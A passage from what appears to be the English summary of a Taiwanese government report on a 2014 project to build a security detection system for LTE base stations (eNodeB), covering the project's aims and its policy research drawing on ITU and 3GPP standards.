information security, the Board of Science and Technology, Executive Yuan
announced the project of “Accelerate Mobile Broadband Service and Industrial

Development” (hereinafter as the “Project”) in the year of 2014.

Mobile broadband network (e.g. LTE) is a milestone of a circuit-switched voice
network (Public Switched Telephone Network, PSTN) striding forward to a full data
packets network. Mobile broadband network simplifies the existing mobile network
structure into an all-1P flat architecture system that increases the capacity and speed of
wireless data networks. One of the major simplifications is the base-station
architecture, which is eNodeB in the 4G terminology and it eliminates the need for a
radio resource controller and assumes signaling transportation, control-plane and
security functions. The eNodeB plays a fundamental role in managing traffic on the
network. Thus security of eNodeB becomes an important issue of mobile broadband

network system.

The Project is expected to establish an integrated security detection service
system for Base Stations of mobile broadband network. The objectives are as the

following:
(1) To improving the security of domestic mobile broadband networks;
(2) To provide consumers a safer communication environment; and

(3) To assist the domestic mobile communication product industries to enhance the
capability through the security detecting or certificating of the international

organizations.
XXI
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Our Team had provided suggestions for mobile broadband network security
detection technologies, regulations, management policies, test plans, the platform
establishments and research of eNodeB security by doing research for the
international standards (e.g. ITU, 3GPP) and advanced countries’ experiences. What
we have to do is to manage policies and eNodeB detection systems at the same time,
and to make sure that our mobile broadband network security can be geared to

international standards.
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